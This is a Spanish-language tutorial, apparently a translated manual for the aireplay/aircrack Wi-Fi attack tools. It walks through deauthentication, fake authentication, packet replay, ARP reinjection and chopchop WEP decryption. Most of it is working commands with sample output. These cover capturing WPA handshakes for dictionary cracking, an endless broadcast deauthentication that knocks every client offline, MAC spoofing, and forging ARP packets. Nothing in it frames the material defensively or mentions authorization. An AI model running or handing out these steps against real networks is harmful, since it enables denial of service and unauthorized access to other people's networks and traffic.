  • Ataque 0: desautenticación

    Este ataque es probablemente el más útil para recuperar un ESSID oculto (no difundido) y para capturar "saludos" WPA forzando a los clientes a reautentificarse. También puede ser usado para generar peticiones ARP en tanto que los clientes Windows a veces vacían su cache de ARP cuando son desconectados. Desde luego, este ataque es totalmente inservible si no hay clientes asociados.

    Normalmente es más efectivo fijar como blanco una estación específica usando el parámetro -c.

    Algunos ejemplos:

    • Captura del "saludo" WPA una Atheros

      airmon.sh start ath0
      airodump ath0 out 6  (cambia a otra consola)
      aireplay -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0
      (espera unos segundos)
      aircrack -w /ruta/al/diccionario out.cap

    • Generar peticiones ARP con una tarjeta Prism2

      airmon.sh start wlan0
      airodump wlan0 out 6  (cambia a otra consola)
      aireplay -0 10 -a 00:13:10:30:24:9C wlan0
      aireplay -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
      

      Después de enviar tres tandas de paquetes de desautentificación, comenzamos a escuchar en busca de peticiones ARP con el ataque 3. La opción -h es esencial y debe ser la dirección MAC de un cliente asociado.

      Si el controlador es wlan-ng, debes ejecutar el script airmon.sh; de otro modo la tarjeta no estará preparada correctamente para la inyección.

       

    • Denegación de servicio masiva con una tarjeta RT2500

      airmon.sh start ra0
      aireplay -0 0 -a 00:13:10:30:24:9C ra0

      Con el parámetro 0, este ataque enviará en un bucle infinito paquetes de desautentificación a las direcciones de broadcast, evitando así que los clientes permanezcan conectados.

       

  • Ataque 1: autenticación falsa

    Este ataque es particularmente útil cuando no hay clientes asociados: creamos la dirección MAC de un cliente falso, la cual quedará registrada en la tabla de asociación del AP. Esta dirección será usada para los ataques 3 (reinyección de peticiones ARP) y 4 (desencriptación WEP "chopchop"). Es mejor preparar la tarjeta con la MAC usada (abajo, 00:11:22:33:44:55) de modo que el controlador envíe ACKs de forma adecuada.

    De todos modos si este ataque falla y hay ya un cliente asociado, es más efectivo usar simplemente su dirección MAC (aquí, 00:09:5B:EB:C5:2B) para los ataques 3 y 4.

    ifconfig ath0 down
    ifconfig ath0 hw ether 00:11:22:33:44:55
    ifconfig ath0 up
    
    aireplay -1 0 -e "el ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
    12:14:06  Sending Authentication Request
    12:14:06  Authentication successful
    12:14:06  Sending Association Request
    12:14:07  Association successful :-)

    Con los CVS 2005-08-14 madwifi parcheados, es posible inyectar paquetes estando en modo Infraestructura (la clave WEP en sí misma no importa, en tanto que el AP acepte autenticación abierta). Por lo que, en lugar de usar el ataque 1, puedes sólo asociarte e inyectar / monitorizar a través de la interfaz athXraw:

    ifconfig ath0 down hw ether 00:11:22:33:44:55
    iwconfig ath0 mode Managed essid "el ssid" key AAAAAAAAAA
    ifconfig ath0 up
    
    sysctl -w dev.ath0.rawdev=1
    ifconfig ath0raw up
    airodump ath0raw out 6

    Entonces puedes ejecutar el ataque 3 o el 4 (abajo, aireplay reemplazará automáticamente ath0 por ath0raw):

    aireplay -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0
    aireplay -4 -h 00:10:20:30:40:50 -f 1 ath0

    Algunos puntos de acceso requieren de reautentificación cada 30 segundos, si no nuestro cliente falso será considerado desconectado. En este caso utiliza el retardo de re-asociación periódica:

    aireplay -1 30 -e "el ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

    Si este ataque parece fallar (aireplay permanece enviando paquetes de petición de autenticación), puede que esté siendo usado un filtrado de direcciones MAC. Asegúrate también de que:

    • Estás lo suficientemente cerca del punto de acceso, pero ojo no demasiado porque también puede fallar.
    • El controlador está correctamente parcheado e instalado.
    • La tarjeta está configurada en el mismo canal que el AP.
    • El BSSID y el ESSID (opciones -a / -e) son correctos.
    • Si se trata de Prism2, asegúrate de que el firmware está actualizado.

    Como recordatorio: no puedes inyectar con un chipset Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell o Broadcom debido a limitaciones de firmware y/o controlador.

    Pero se han solucionado con la nueva suite para las centrino ipw2200b/g.

     

  • Ataque 2: Reenvío interactivo de paquetes

    Este ataque te permite elegir un paquete dado para reenviarlo; a veces proporciona resultados más efectivos que el ataque 3 (reinyección automática de ARP).

    Podrías usarlo, por ejemplo, para intentar el ataque "redifundir cualesquiera datos", el cuál sólo funciona si el AP realmente reencripta los paquetes de datos WEP:

    aireplay -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \
        -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0

    También puedes usar el ataque 2 para reenviar manualmente paquetes de peticiones ARP encriptacas con WEP, cuyo tamaño es bien 68 o 86 bytes (dependiendo del sistema operativo):

    aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0
    
    aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0

  • Ataque 3: Reinyección de petición ARP

    El clásico ataque de reinyección de petición ARP es el mas efectivo para generar nuevos IVs, y funciona de forma muy eficaz. Necesitas o bien la dirección MAC de un cliente asociado (00:09:5B:EB:C5:2B), o bien la de un cliente falso del ataque 1 (00:11:22:33:44:55). Puede que tengas que esperar un par de minutos, o incluso más, hasta que aparezca una petición ARP; este ataque fallará si no hay tráfico.

    Por favor, fíjate en que también puedes reutilizar una petición ARP de una captura anterior usando el interruptor -r .

    aireplay -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
    Saving ARP requests in replay_arp-0627-121526.cap
    You must also start airodump to capture replies.
    Read 2493 packets (got 1 ARP requests), sent 1305 packets...

  • Ataque 4: El "chopchop" de KoreK (predicción de CRC)

    Este ataque, cuando es exitoso, puede desencriptar un paquete de datos WEP sin conocer la clave. Incluso puede funcionar con WEP dinámica. Este ataque no recupera la clave WEP en sí misma, sino que revela meramente el texto plano. De cualquier modo, la mayoría de los puntos de acceso no son en absoluto vulnerables. Algunos pueden en principio parecer vulnerables pero en realidad tiran los paquetes menores de 60 bytes. Este ataque necesita al menos un paquete de datos WEP.

     

    1. Primero, desencriptemos un paquete:

      aireplay -4 -h 00:09:5B:EB:C5:2B ath0

    2. Echemos un vistazo a la dirección IP:

      tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
      reading from file replay_dec-0627-022301.cap, link-type [...]
      IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

    3. Ahora, forjemos una petición ARP.

      La IP inicial no importa (192.168.1.100), pero la Ip de destino (192.168.1.2) debe responder a peticiones ARP. La dirección MAC inicial debe corresponder a una estación asociada.

      ./arpforge replay_dec-0627-022301.xor 1 00:13:10:30:24:9C \
      00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap

    4. Y reenviemos nuestra petición ARP forjada:

      aireplay -2 -r arp.cap ath0

Finalmente, me gustaría agradecer a la mucha, mucha gente que han contribuido con aircrack... vosotros sabéis quiénes sois :-)

Publicidad

© Hwagm - hwagm.elhacker.net